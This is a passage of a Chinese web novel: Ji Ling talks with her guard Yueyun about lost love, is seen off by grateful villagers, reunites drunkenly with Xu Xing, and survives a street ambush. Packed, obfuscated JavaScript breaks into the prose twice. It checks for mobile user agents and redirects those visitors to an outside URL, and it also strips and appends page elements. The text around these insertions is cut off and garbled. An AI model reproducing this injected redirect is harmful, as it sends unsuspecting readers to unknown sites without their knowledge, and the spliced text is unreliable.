季泠张嘴起来没完没了,越说越过分,阅云皱了眉,看向四周,野旷天底,除去枝头雨水的滴落声,余处杳无别音。 “季大人,您的问题太多了。”而且,打探的意味未免太明显了些,简直与她前几日在武昌行事的模样大相径庭。 “哦,是秘密啊,我知道了,小气鬼。不想说就不说呗。” 季泠皱了皱眉,瞧着颇有遗憾。 可没想到,阅云突然开口了:“徐家有专门传信的暗卫,若是最为紧急的事情,则是用专训的青鸟、鸿雁、白头翁、海东青。依照严密程度与重要程度区分。少爷安排任务也无特殊之处,属下们无不敬重少爷的。我们与少爷荣辱与共,自然全力以赴。少爷与老爷夫人待属下们也极好,从不苛待,还会替我们料理家中事宜,以保我们无后顾之忧。” 阅云知无不言,可偏偏在最要紧的地方停下来,瞟了季泠的脸色,才开口说:“俸禄之事……想来,应当是比季大人的俸禄高一些的。” 果如他所料,季泠的脸色五彩斑斓,气的不轻。 阅云铁定还有什么瞒着她,只是他愿意说出这么多,对她而言已然是意外之喜。 季泠背靠着树,将脸埋在宽袖中,只留下一双乌黑眼眸,像那只隐于夜色中的海东青。 正当阅云以为,季泠该是上了酒劲,将要昏昏欲睡时,突然听见她说:“阅云,我知道览风有个女儿,你呢?没听过你说起你的妻儿。” 妻儿二字犹如利箭,阅云陡然冷脸。 “怎……怎么了?” 阅云很快调整掩下情绪,又如同带上面具般一板一眼:“属下私事,不劳烦季大人费心。” 出于阅云的意外,季泠道了歉:“抱歉,若是我唐突了,你便直说。” 阅云看向她,见她冲他一笑,带着心直口快的歉疚,脑袋晃晃悠悠,没有丝毫伪装的痕迹。他顿时意识到自己的过分。季泠是五品朝臣,他没资格驳斥她的问题。 “季大人恕罪,只是,属下的过往并不有趣,便不说出来扰大人安宁。” 季泠试探道:“不愉快?” 阅云点头。季泠却说:“那更要说出来了。你,没放下?” 阅云不再说话,那就是默认了。 “我不太懂你们的想法,只是,若是依我来看,放不下的东西,感情也好,人也好,该寻个时机说出来。日日埋在心里,说他无声无息的消失了,都是在骗自己的。没准有那么一个夜晚,你突然想到此事,不受控制地翻腾出来,那便是无穷无尽的痛苦。” 阅云突然觉得眼前的季泠很陌生。 “所以啊,说出来,大大方方地说出来,让遗憾随风而逝,飘走了,也就放下了。” “兴许您说的有理,”阅云捡了根树枝,在地上乱划着,总觉得对她说出这些话,有些怪异。 “我的妻子,现在已经是别人的妻子了。”他的神情很硬,一如季泠平日看到的那样。 “我与她是青梅竹马。她是一个很活泼的姑娘,叽叽喳喳个没完。” 阅云突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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季泠转回头,笑了笑,却有几分牵强,“怎么了?” “您,也有放不下的事情吗?” “早就放下了。”季泠释然般莞尔,“只是,我怕,有人放不下。” 就是因此,她才会感到难过。她知道,阅云不会理解的,曾经她也不理解,放下又怎会难过呢。放下了,就该自由了。 可今日,阅云的话,让她突然想起一个人。 她对不起很多人。 “真心总是可贵的。我伤害了那么珍贵的情分,甚至没有好好告别,是我的过错。”季泠仰头,昏沉的脑袋支在古树躯干上,低声喃喃:“几乎如同枷锁一般的歉疚。” 阅云没听清。但他觉得,这位季大人,似乎总有特别的办法应对困境。 阅云默然,“情海漫漫,回头已无岸。这份苦,尝过一回,也足够了。” “苦也罢,累也罢,顺也罢,阻也罢”,季泠耸肩一笑,“人生而已,每个人都会有这样的经历,我们不必总回头看,不是吗?人活在当下,将要走向来日,不要去循旧日的苦痛,为来日提前蒙上阴霾。” 季泠摸着树,攀爬起身,分明就是大醉的模样。 抱着树的人看着阅云,迷蒙的眼睛中仍有暗夜引人的明辉,阅云想到少爷画的那幅画。 在他的画中,她的眼睛就如现在这样,如深海沉波,如璀璨繁星。 那双眼睛望向天空,融为天幕一角。 “阅云,你是很忠心谨慎的人。抬头看看天,流云并非空转,它在矢志不渝地向前。你的妻子有了新生活,她定希望,你也是。” 季泠踉踉跄跄,醉得不省人事,却也不偏不倚走入了营帐中。 阅云抬起头,暮云低垂,月色朦胧。他仍是那样木然。 90. 云片千枝万卉永荣 季泠离开时,大合乡仍沉浸在夜色之中。 昨日,她已将武昌赈灾的最后事务收了尾,在最后时刻,向各位县令与大合乡的乡长里长道了别。 锦衣卫的营帐很快就在季泠离开后尽数撤离,矮台广场已秩序井然,恢复如初。枯树享甘霖滋润,焕发出淡薄生机。 梆子声响起,更夫拖着声音喊道:“寅时五更,早睡早起,保重身体。”随后吹了灯笼,踩着日复一日的晨曦,往家中走去。 随着天际破光,笼罩大合乡数月的沉霾烟消云散。 乡道上,一辆北上的马车急停。 灰布外,金杲出声道:“季大人……” 话音未落,一只竹骨般的手挑开了帷布。季泠刚想朝他嘘声,提醒他莫要吵醒车中的孩子时,却看见,天光乍现之处,站着如群山之上葱郁林木一般多的人。 因为逆着光,季泠只能看见他们的轮廓,灰蒙蒙,乌沉沉,在晨雾中漫开,看不见尽头。 “季大人!”季泠下了马车,一声声呼唤响起,她每走一步,声浪就越狂一分,到最后,几乎铺天盖地涌过来,挣破了遮住日光的云层。 领头的是乡长、里长,还有大合乡各氏族的族长与话事人,后面是她熟悉的一些面孔,有昔日谩骂过她的,有在救灾时全力帮扶的,也有不顾自身安危进入济病坊看顾病人的。 再远些的,她只能认出部分人。 其中有一位娘子,季泠仍然记得。她那时正在待产,惊闻丈夫死于首轮疫病之中,动了胎气。医者都忙于疫病中,还是她带着几位有经验的妇人去替她接生的。 如今,她正抱着孩子,母子平安。 季泠朝她笑了笑,似乎听见她怀中婴孩的孱孱嘤语。 不止那位她一人,她身边还有许多同她一样的娘子,怀里抱的,背后背的,手中牵的,是大合乡绵延不绝的希望。 待到季泠走到他们面前时,她才看见,罗大伯等人手中拿着的东西。季泠心头一震,看清了上面的字。 那是一块牌匾,上头题着六个大字——天下第一女官。 季泠曾经在徐行那儿听过,有些地方官员离任后,受百姓长路相送,得百姓牌匾相赠,万分感动,涕泗横流。 得百姓如此爱戴,是实实在在的父母官,虽然政绩远不如姚知府此类人显赫,可吏部有心之人也会替他们记上一笔。 她以寻求税银案主使为始,不过尽了赈灾官的本分。大合乡暂居两月,枯木涸湖终候得甘霖,她竟也恍然入了坊间流传的佳话戏文中。 莫说感慨万千,季泠看那打磨得光滑平整的牌匾,六个大字用金漆细细描绘,她只觉得受之有愧。 双手接过比马车还长的牌匾,由金杲等人协助端持,甫一转身,季泠就见一颗颗低下的头颅。 大合乡民,跪天地,跪父母,跪神农,而她不过一介凡夫俗子,怎堪配此大礼呢! “各位!快起来!季某怎受得起啊!” “季大人!您受得!”季泠弯腰要去扶罗大伯时,那双枯手向下闪躲了一下,又被季泠牢牢握住。 她不喜离别悲情,却终究忍不住哽咽。 在她低头深深吐气,想要掩饰感怀时,一如她初到大合乡的那日,她的面前出现了一方手帕。 季泠看着那方帕子,顺着那只短褐下细瘦伶仃的手臂看上去,是一位中年女子的面庞。 季泠不认识她,很努力在脑海中搜寻,可却徒劳无功。她对这位妇人没有印象。 这位妇人朝她和善一笑,将手中拢得紧紧的布包交给她。 “季大人,这是大合乡所有乡民用自家最好的布料,为您做的一件衣裳。” 季泠打开布包,那件衣裳展露在众人面前。 那是一件男女皆可穿的圆领袍,颜色清淡雅致,从上肩至下摆,颜色渐渐浓重铺开。只有如季泠那样细看,指腹摸过每一处纹理,才能够感受到衔接处的突起。 这当真是一件极好的衣裳,哪怕是千百片大小不一、花色不同的的布料拼接而成,也因那千百位绣娘细腻的心思而锦上添花。 衣裳上绣的是水杉树,云片万枝,踽踽千年。 从前只闻百家被,今朝始见万户衣。 季泠热泪盈眶,不知如何才能报答她们如此纯粹的心意。 随后,又有一位陌生的妇人走上前,递来另一个布包,里面是她初到大合乡那日穿的那件官服。 这件官服染了血迹,她忙于后续事宜,将此事抛诸脑后。没想到,竟被大合乡的妇人捡去了,替她洗干净,收起来,就等着归还给她。 若不是因为乡中号召,要来送季大人一程,那位替季泠洗衣服的妇人怕是见不到季泠,也没机会将这件官服还给季泠。 “季大人,大合乡民愿您,官运亨通,青云直上。” 顷刻间,四野骤明,红日初升。 季泠摘下官帽,朝乡民深深鞠躬。 今日,她不拜天,亦不跪地,只敬他们,敬这些会抱怨世道不公,又因水米之恩而赤诚感恩的人们。敬这些在酷暑、饥饿、疫疾的摧残折磨下,仍然不弃光明、顽强存活下来的人们。 云天下,乡道旁,灰布马车向着朝阳而去,他们挥手道珍重再见,兴许今生是再不相见。 道旁的山丘上,站着一个粉衣裳的姑娘,一个人摆着手,无声送别那位给她机会与底气的青年郎中。 凌泉记得,从武昌策马回大合乡的那夜,马背上的晚风格外凛冽。似乎是一根根枯枝抽打过来,凌泉只能抱紧她的腰,埋在她的肩背上。 季泠攥着缰绳,还没换下煎药女使的衣裳,头发里还夹杂着小小的槐花。 凌泉听到清亮的声音被远方的风送来:“凌泉,你愿意随我去京城吗?” 马背上的颠簸让凌泉很不适应,却又让她多了几分偷寻刺激的畅快。 “我身边需要一位女医。京城天地广阔,你会有更多机会,施展你的才华,提升你的医术。” 这实在是一个极大的诱惑,为名利也好,为前程也好。她听见自己的声音被风带远了,像浮水时吐出的气泡消散的声音。 她拒绝了季泠的提议。 季泠笑了,却仍是不甘心追问她,究竟为什么。毕竟之前是她亲口告诉季泠,她在行医时,常常因为年龄与身份而饱受质疑。 而凌泉也很清楚,什么才能让这位大人心甘情愿地放弃她。 “医者,该有尝遍百草,走遍九州的志向。”凌泉如实相告。 其实,要放弃京城的机会,真的很难。天下名医,半数都在京城,她若是去了,凭借季泠的力量,她的医术一定能更上一层楼。可是,她自幼就已定下此生志向。 “季大人,比起您,还有其他人更需要我。” “谁?” 凌泉不说话,只是掏出一本医书。那本医书只有开头寥寥几页,是一本正在编纂的医书。里面的图画,是女子的身体。而一旁对照的图画,是男子的身体。 季泠了然。她从前听紫菀说起过,女子的穴位、用药、诊疗都与男子不大相同,而自古以来的医书与大夫,大多都以男子身体为样本定范。 凌泉想要开一条先河,将这处从未有人发现的空白填补起来。 “季大人,我明白,我的医术并非超逸卓绝,我只是一届布衣,手中没有任何权势。我也渴望锦衣玉食,安享富贵,得到权贵朝臣的赏识。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446352|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 凌泉坦荡展笑,对上季泠的眼睛,“但论心迹,我与您,别无二致。” 凌泉转身,看向山坡下的大合乡民,挥动的手臂在炽热的阳光下,如同随风摇曳的禾浪。 那位替季泠洗净官服的妇人仍抱着那个布包。 季大人说,她们赠她一衣,她当投桃报李,还以一衣。 后来,那件青袍挂在乡祠之中。 马车内,那个睡着的小姑娘已经醒来了,揉搓着眼睛,惺忪望着季泠,递来怀中珍藏的手帕,那是她母亲能给她留下的唯一的念想。 “季大人,您怎么哭了?” “小花,”季泠揽住她,语调十分柔和:“往后,你就要随季姨母到京城去了。” 小花有些怯怯,又有些欣喜。 她顺着季泠的话,试探问道:“季姨母?” 季泠微笑点头,握住她的小手,给这个幼年失怙的小女孩儿一份安心依靠的力量。 “季姨母,我的娘亲去哪儿了?” 季泠垂眸,轻轻吐出一口气,复又抬头温柔地抚摸她的头。“你的娘亲走了一段很长的路,先去另一个地方了。那个地方很好,不会饿肚子,也不会生病。你的娘亲啊,在那里为小花种了许多小树苗。” “那小花还能见到娘亲吗?” “可以的,只要等到,小树苗变成一片森林的时候。但是在此之前,小花要随季姨母一起,读书,识字,习武,骑马,去见识四海八荒。等到小花走累了,娘亲就会来接你了。” 小花很认真地点点头,撩开马车的帷帘。马车外,大合乡已经化成虚幻不清的点影。日头正高,随车行路的影子渐短,整装肃然。 车辙深深长长,从她的家乡启航,通向她从未见识过的北方。 浮云堂的小厨房吹起灶火时,徐行踏着日光尾影走进了院子中。 浮云堂里热闹非凡,丫头们说说笑笑,林木阴翳中藏着蝉鸣,与上回他来时的景象大相径庭。 徐行迫切要见到她,无论是公事还是私事,他有许多话,需要当面问问她。 树下的石凳上坐着白芨,手头似乎在剪着窗花,身后的月洞门跨过一人,正是白蔹。 “徐大人?” 一声称呼,所有人都停了下来,连带着徐行的脚步也随之停下。 两个贴身侍女都在这儿,剩下四个丫头从院落各处探出头。暂停的热闹中,唯有炊烟袅袅。几人对望片刻,忙慌行了礼,又立刻缩回脑袋,去忙着手头的活计。 白芨与白蔹从前后赶来,朝徐行一拜,十足紧张的模样。 两月前,徐行在浮云堂发了怒,甩手离开后,浮云堂就陷入惨淡惊惧之中。 她们无从得知自家大人的消息,只能从林姑娘那儿听到,徐大人接了湖广巡抚一职。 若是往日,她们定然高兴,自家大人孤身在外无人照顾,徐大人去了,她们心中也可落定。 可,前脚在浮云堂发了怒的人,后脚就追到湖广去…… 那她们大人岂非内外受掣! 徐行越过她们,看向紧闭的支摘窗,那份迫切略淡了几分,只问道:“你们大人呢?” 白芨俯首,对他更多了恭敬,回话道:“大人半个时辰前才回来的,换了一身衣裳,被户部的各位大人拉去宴饮了。” “户部各位大人?谁叫她去的?” “这……奴婢就不知了。” 徐行内心叹罢,才从湖广回来,舟车劳顿,都不许自己片刻休息,转头就去赴宴,是要继续打探什么吗?可这却也不像是她往日的作风。 “我去书房中等她。” 白芨白蔹面面相觑,知道拦不下徐行,只能侧身为他让路。 91. 接风酒宴消疑解愁 屋外喧嚷声起,间和着拖曳的步子声,浮云堂的主人回来了。 阔别月余,徐行竟忽然生出近乡情怯的急停悬勒感,早早放下手中的书,扶着小几待了许久,等那动静明确得不再具有镜花水月的欺骗痕迹,他才夺步而出。 走出正堂,来人正七拐八弯,林微和白芨怎么也扶不住她,就要往台阶上冲去,分明看清的路,脚也抬了起来,却如何努力也上不去。 徐行少见季泠醉酒的模样,这回可真是酩酊大醉了,绝无半点掺假,眼睛半睁半闭着,若不是有人扶着,怕是直接撅倒在路边了。 徐行替代了白芨的位置,高身长臂,一下就把她端住了,连带着另一边的林微都轻松许多。 徐行问:“怎么醉成这样了?” 本也不期待她的回应,可醉了的人歪着头,伸手乱挥,大喊道:“我...我高兴啊!” 挥臂一振,险些把搀扶她的林微也一起带倒。 “好好好,高兴,我们回屋吧,好吗?” 怀中软塌着的人突然支棱起来,转头看向林微,回头看了看伸手护着她、以防她摔跤的白芨白蔹,又抬头看了看天空。 “今晚的月亮好圆啊……”几人也随她抬头,看见的却是未圆的半月。 “嘿嘿,我真高兴。”仰着头的人傻笑着,挣脱了两边扶着她的人,好似又醒了神,错着步子走到庭院中央。 徐行一回头,季泠伸手解了束发冠簪,随手一扔,垂首含胸,长发如瀑垂落,长衫遮不住的婀娜。 白芨白蔹捡起她的冠簪,想要拉回她,却被林微拦下了。 “随她去,别扰她。” 此言阻止了白芨与白蔹,也阻止了徐行。 据他所知,她的酒量应当是不错的,据说在西北随军的时候,她还喝趴过许多小兵。上回见她醉酒,是去年冬至,她一朝身份暴露,借酒压惊。 那日的醉,与今日却也不同。今日,她的眉眼都染着酒香,是十足十的快意开怀。 可徐行也不知道,醉了的她,此番是要做什么。 “她要跳舞。”林微轻声说。 酝酿一刻,竹叶青色的脊背向天穹之巅舒展,堂前满地的月光是迎生春雨,柔软的青茎铮铮向上。 青袖扬起落下,展露酡红面庞,点漆双眸因轻旋顾盼神飞,云纹暗花在困倦的黑夜中流动。 饶是振翅间随意飞过的蝴蝶,一时兴起而穿堂吹拂的晚风,也被迷人的清酒芬芳熏醉了几分。 半圆的月也很明亮,浮云堂前长明的灯笼日夜都在等候人归。 没有琴乐鸣奏,没有喝彩欢腾。观赏的看客中,仅有两位旧人曾见过她的舞姿。 蹁蹀清姿引徐行想起流音阁中的她,覆着面纱,在避无可避的时刻,她露出的双眼藏不住看见他的震惊,又躲不开他的探究。 林微缓缓朝她走去,怀念起上回看她跳舞的时光。 那是大雪未融的初春。钟荡云坐在秋千上为她鼓掌,齐无戈躲在月洞门后遥望。她是钟鼓园中扰动轻尘的一束明亮阳光。 进公主府后,她问过她,为何不再跳舞了。季泠怔住,眼中划过注定消逝的萤火,摇摇头说:“自娱自乐,浪费时间,不跳也罢。” 那是林微第一次知道,季泠也会口是心非。 在无止无休的旋转中,季泠快要把自己绕进去了,晕晕沉沉,终于想要停下。 林微先徐行一步,接住了她。 “徐大人,您有什么话,不妨等会儿再说,让她们先带她去沐浴洗漱。” 徐行看着季泠趴在林微身上,头一下下滑落,又被林微拨回去,收回手,无奈点头。 他不知道林微与她的同袍之情为何如此深重,毫不逊于与她一同长大的何咨宁和自小同窗的钟荡云。只是,信任一事,若要讲个先来后到,那他总也应该排在林微前面才对。 他从湖广赶回京城,总算赶上了她,想要与她开诚布公,问她究竟信他几分,究竟为何要写那么一本账簿,又是因为什么,对他忽然若即若离,日日愁眉不展。 徐行坐在里间的软榻上,透过支摘窗的漏隙,见到窗外一树茂盛海棠,在夏夜晚风中荡漾,延续方才在月光中的清影。 净房中的水声不断传来,季泠仍在大声嚷着,白芨白蔹像在哄孩子般,请求她老实些,莫要再拍水玩闹,将她们搅得衣裙濡湿。 徐行偏转回头,喝罢杯中的水,站起身走到院中吹风。 待到白芨退出来、去寻林微时,见到徐行还没离开,吓得刹住步子,慌张地行了礼。 徐行微笑点头,抬步走入里间之中。白芨见了,略微放下心,可却再也不敢相信他难辨真假的笑意。 徐行走进里间时,季泠正歪坐在软榻上,自顾自地提壶倒水,徐行正想阻止,季泠已然抓着那只茶盏,渴极了般,迫不及待灌入嘴中。 ……罢了。 白蔹正在给她擦拭头发,见徐行进来,眼中的戒备骤起。 “我来吧。”徐行走到榻边,向白蔹伸出手,她不欲给出,徐行也不恼怒,只是长久静默地等着。 白蔹终于软下态度,将长巾递给徐行,却一步三回头,最后实在不放心离开,决定侯在栏杆罩边,以防这位阴晴不定的徐大人对她们大人做出些什么过分的事。 临窗而坐,徐行拿着长巾,替季泠细细地擦着头发,终于也算明白,为何好脾气的白芨竟然要求她老实。 季泠实在是不太规矩,坐没坐相,七歪八扭,一会儿要探出窗子去,一会儿要趴在迎枕上,一会儿又要爬过小几,去看榻边的那樽摆件。 徐行握着她的头发,若轻些,他拉不住,她怕是连人滚下榻去,若重了,又担心扯着她,实在是左右为难。 “乖,别乱动。”徐行压下准备站在榻上高歌的季泠,果真惹得她不快。 “哦!”季泠应声,又不慎将水洒到小几上,立刻找到新的玩乐事,用指尖点水,以水作墨在小几上开始作画。 季泠看着自己的成果,十分满意,转头寻求肯定:“你看看,好看吗?” 徐行越过她的肩膀,看见小几上一团乱七八糟的水渍,点点头道:“很好看,当代山水画的大家。” 季泠皱眉,瞅着她脸侧的这张脸,说道:“你不是我的白蔹。” 徐行见她才反应过来,无奈道:“我是你的徐行。” 季泠撇撇嘴,转回身,准备继续自己的作画,“哦,徐行啊。” 可才画了两笔,又猛然转头,扬起的发丝甩了徐行一脸,疼得像是被扇了一个巴掌。 季泠满脸困惑,向前探去,仔细打量他,“你是徐行?” 徐行起身将长巾挂在木架上,拿起月衣替她披在中衣外头。顺了顺她的头发,快干了,只是夏夜有风,才沐浴完,穿的太少容易着凉。 “是,我是徐行。” 季泠听到他的肯定,瞬间瘪了嘴,眼眶红起来,与眼下腮边的红晕相融,着急得跪立起来,扑到来人怀中。 “呜呜呜,徐山止……” 徐行震颤,低头看向怀中的人,手在空中僵持着半刻。 月光从窗缝里漏进来,是同样半圆月夜,不同的是,那日大雨倾盆。 枫漈山的寓舍中,竹林环绕,清幽寂静。她踩着山中石头小径,来送那本书,因为一场雨,不得已入他书斋之中,躲了片刻。 她坐在她对面,有些拘谨,不好意思乱看,只能盯着他煮茶的动作。 茶炉里的水沸了,建州夏季的雨像涨潮一样澎湃。 少年的声音如清泉泠泠,含着不拘世俗的期待。 “先生,您为我取了字,礼尚往来,我也为您取一个别字,如何?” 诧异中,他也压不下好奇,好奇她这样鬼灵精的人,能说出什么话。 她说:“山不厌高,海不厌深,周公吐哺,天下归心。依学生看,‘山止’二字不错。愿先生有山止川行之势,以攻必取,行不可阻。” 他饮下热茶,在氤氲雾气中掩盖惊讶。 那时,他去往建州,去拜访父母提及的徐家旧人,听了她与徐家的过往,哀先人折亡,苦良材蒙尘。 兴许是因为季泠轻易看穿他的野心,也可能是因为,他在她眼中看见的,独属于少年人赤裸的狂热。他选择离开枫漈书院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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低下头靠着他,在他耐心的等待中,她缓过麻痹咽喉的酸胀,跳下了榻,难顾月衣飞落,急急地走到床边,拉开里侧的小屉,将她在湖广得到的东西抱到榻上,双手一扬,所有书信账册洒了一榻。 捋不清思绪的人坐在书信之中,一封封拿给他看,一件件说给他听,咿咿呀呀,指手画脚,那急迫倾诉的模样,像刚学会说话的婴孩。 听到最后,他终于明白,她这几个月究竟因何煎熬,那本账簿又究竟为什么要把他们的过往用恩情来往分个彻底。 他想起,她离京前一夜的异样。她对他寄托了几分希望,问他,应惟绅是什么样的人。他话里话外都是溢美之词,将她对他的最后几分幻想也击溃,最后毅然决然离开京城,一个亲信也不带走。 还有那时,她在武昌,不听他的劝阻,执意进入疫病中心。在那日,她分明走出了数步,又那般不甘心地回头,要他给她一个承诺。 后来,她染病濒死,仍不放心,托凌泉给他传话,藏着近乎遗言的留白。 以及,阅云来信告诉他,季泠封了姚家,迅速料理姚曲一案,收拢武昌人心,终于睡了一个好觉。 一块块碎片由她支离破碎的言语拼凑,凑出她踽踽数月的如履薄冰。 “傻瓜,你怎么什么都不说呢?” 可能是履危行险太久,回到熟悉的地方,骤然松懈了紧绷的弦,被拒之门外的慌乱立刻寻隙找了上来;也可能是平日就多话的人,不得不一人苦苦支撑,沉默太久的压抑让她倍感折磨。 她只顾着倾诉,也不管会不会丢了脸面。 “我不敢……” 语罢,双膝压过满榻书信,伸手用力环住他的腰,嚎啕大哭:“我真的不敢……我是一个人,我一直都只有一个人。我要对付那么多人,我很怕。我要保护好多人,我怕她们会因为我的一时不慎而死掉。所有人都想害我……没人能帮我……徐山止,连你也是。” 徐行蓦然心酸,一开口,声音如丝弦拉扯榉木,带出磨人的涩意。 “不会的,此后,我们风雨与共,再不相疑。”徐行等了许久,都没等到她的回应。 待他轻轻拨开她脸颊边的长发,才发现贴在他腹前的姑娘已经睡着了,环着他的手还不放开。 也罢,睡吧,睡醒之后,万忧尽销。 可他有那么一份私心——那本账簿,他再也不会还给她。 若她想起来了,找上门来,他就要叫她亲眼看看,他如何把那本账簿烧掉。 他与她,永远不会有恩仇人情的往来。 92. 季主事长街首遇刺 翌日清晨,白芨喊醒了季泠,为她端来醒酒的蜜茶。白蔹亲手为季泠配上革带,带好官帽,心中那份空洞才终于被填满。 “韩嬷嬷给您准备了您最爱吃的马蹄糕呢,还有绿豆汤。湖广暑气重,您瘦了许多,可要好好补起来。” 季泠看着铜镜中的自己,额角的伤口虽然痊愈了,可还是留下一块儿痕迹,不知道会不会留疤。好在脸上伤痕已经淡去,若是不凑近,是看不清的。 白蔹说的没错,她确实是瘦了。和前年去西北不同,那时她风吹日晒,看起来又黑又瘦,可也精劲着。湖广回来,却全然大变了模样。 铜镜里的人,眉头耸拉着,掩盖不住的憔悴。昨日那场酒,她喝的实在尽兴,也是压抑太久,憋不住要放肆纵乐一番。今日酒醒了,却还有一场硬仗要打。 林微提着书箱跟在季泠身后,才跨过院门,两人就看见马车之前站着一个熟悉的身影。 “抱月?”在季泠的示意下,林微走上前去,皱着眉打量他:“你来做什么?” 她们这儿已经到了徐家人随意出入的程度了? 抱月握着剑,忍不住曲起手指摸了摸护腕,而那两位神情冷淡的女子径直越过他,走向外院。 果不其然,昨日空空荡荡的外院,如今又被层层看护起来。 上回不过一队人马,今日却足足添了两倍。她这小庙都快容不下徐家的护卫了。 季泠与林微相望无言,徐行的手脚真快,她都没见到他人,他就已经把一切都安排好了。 领头的仍是宋勍,带着新老护卫朝她行礼请安。 季泠点了点头,与林微回身走向马车。 走到抱月身边,季泠问:“少爷又派你来传什么话?” “少爷命属下驻守浮云堂。” 季泠心生不妙,回手握住林微拎着书箱的手,感受到她的手指也紧了几分力。 “发生什么事了?” “湖广赈灾官员回京,消息不胫而走,有人蠢蠢欲动了。” 看来,徐行知道的不少,可能知道的,比她还要多些。今日她就要与同行的赈灾官员向皇上禀报详况。而她得到的证据,必须亲手送到那张御案前。其中牵涉的人太多太广,若是假手于人,出什么差错,她的结局可想而知。 季泠紧紧抱着书箱,马车缓缓驶出石竹巷。 离开京城两月,如今已经是仲夏时节。 京城的秋天总比建州来的早,也离开的晚,胡同深处的百年银杏将盛大的告别拉长。 马车走的很慢,她出门尚早,这个时辰,长街上人迹寥落,还留有几分夜晚的余寂。 清晨的缓风顺着窗隙吹入马车,疏解她的疲乏。在祥和的晨光中,一道异声撕破季泠规划好的秩序。 一匹疯马不知从何处闯出来,也不知要去跑到何处去,嘶鸣划过京城长街上空的瞬间,那马冲进一处早点铺子,将篷布踏于蹄下,挣扎着,狂乱中,铺子中的桌椅陈设被冲撞成碎片,三更天磨好豆子煮成的豆浆撒了一地,在马蹄下弥漫出豆香。 食客四散逃开,生怕在这般普通的一日死于非命。 “季大人,林姑娘,坐好。” 在抱月的命令下,季泠与林微控制不住后仰,马车在宽阔大道上疾驰,想要避开那团祸乱。 疯马一时之间有了神智,猝然转身,迫切寻求同伴一般,朝她们的马车跑来。 护卫欲抵挡,却被马蹄蹬开。 “嘭————” 顷刻间,长街重蹈早点铺子的覆辙,在剧烈撞击中,季泠与林微来不及反应,两只手下意识攥住书箱,重重摔在大道上。 与此同时,一声哨音响起,疯马冲她们而来,两人立刻往长街两端后滚,险险避开差点践于身上马蹄。 疯马毫无留恋,跃空而去,只留下一地狼藉。 哨音的余波才刚散去,季泠握着书箱提手起身时,急迫的步声从身后传来——藏于沿街商铺中的提刀刺客倾巢而出,直奔她来。 一架破碎的马车横亘大路中间,拦住了她的护卫,抱月飞身踩下裂木青帷,横在她身侧,大声召唤徐家护卫。 “保护季大人!” “剑!”季泠与林微同时大喊,两把长剑顺利落入手中。 抱月护于她身前,林微与护卫从刺客中破路,朝她奔去。 只是那只书箱、那顶乌纱帽过分显眼,所有刺客目标明确,只为逐她。 源源不断的刺客杀也杀不尽似的,数柄大刀砍下,季泠与抱月被彻底分开。 一瞬间,三人各自为战,难以联手抗敌。 季泠提剑运力,突然意识到,湖广那场疫病终究还是侵损了她的身体,如此突然迎敌,她竟然力有不逮。 当断则断,季泠伸手迅速一推,“抱月!接稳!” 抱月闻声转身,挑剑一勾,书箱顺利落入手中。 现在就要看看,那些人是更想要证据,还是更想要她的命了。 没人知道那书箱是不是掩人耳目的调虎离山,刺客只能分散火力。 书箱已有保障,季泠即可全力出击,再无弱点。 接下来,该到她了。 扫腿而过,季泠避开头上袭来的弯刀,乌纱帽被刀风带下,滚落一旁。季泠将地上的短刀抓起,左手反转,刺入肩后的胸膛。 “刺啦——”利落抽刀,挥剑转身,空中划过一道弧光利刃,四周将欲近身的几名刺客破颈而亡。 本欲继续进攻的多名刺客见此猛然顿住脚步。 “季执庸会武!”他们震惊于此,面面相觑。 哪怕是刺客,也并非死士,以命相搏,实非明智之举。当务之急,他们要权衡利弊,再过分耗时,等兵马司、巡查营的人出动,他们也落不着好。 身后刀剑相撞声不断传来,季泠再次一剑劈下,分神转头看去,抱月已经被团团围住,单手极力抵挡着数十人的杀意。 “林微!不要恋战!去帮抱月!” 林微听见季泠呼唤,立刻聚力化守为攻,招招见血。 可抱月单手仍难敌有备而来的刺客,林微才斩杀包围圈外的两人,就见书箱不知何时落入敌手。 “执庸!” 季泠纵身掠地朝那人奔去,那人立刻拐入一处小巷。 季泠暗骂道:“该死!” 长街上,血迹在仲夏日光中粘稠蜿蜒。 巡捕营与多架准备上值的官家马车先后抵达案发路段。 一辆马车停下,车前的羊角琉璃灯在晃荡。侍者挑起帷帘,露出一幅透着寒冬冽雾的面容。 徐行抬眼看去,朝览风示意,更多人加入了混战。 刺客已悉数逮捕,可徐行遍历全场,只见张皇的林微抱月。 一地尸体血河之中,是一架全然散架破损的马车。 青帏飘落在地,混着鲜血染成僵硬的暗红。遍地尸体旁,有一顶乌纱帽,乌纱镂缝被团团血迹填满,再不透人间天色。 “人呢!” 随季泠一道的护卫面面相觑,不知她何时消失,竟无声失去踪影。 “去!将这附近的巷子胡同出入之处全部围起来,不得放过一个。” 各处涌来的人马将长街每一处巷洞守住,兵马司的人匆匆赶来,就见徐行冷脸站在那架马车旁。 不过一眼,就觉得今日日头甚大,怎得前胸后背汗流不止。忙上前去请罪,还未开口,就听见一声突兀的呵斥——“退下。” 徐行听见熟悉的声音,终于定下心来。 层层侍卫让开了路,那破败青影缓步而出,发髻已然散乱,官服前后被刀剑破开,几道血迹从细颈延伸至眼下,秾丽姝颜也压不住那冷煞之气。 “滴答……”众人醒神看去,剑尖滴落的血在她身畔聚出一个小洼。 长街通往各部衙门与皇宫,眼下正是上值时辰,官员们陆陆续续,他们不宜逗留。巡城御史、兵马司与锦衣卫的人接手了现场。 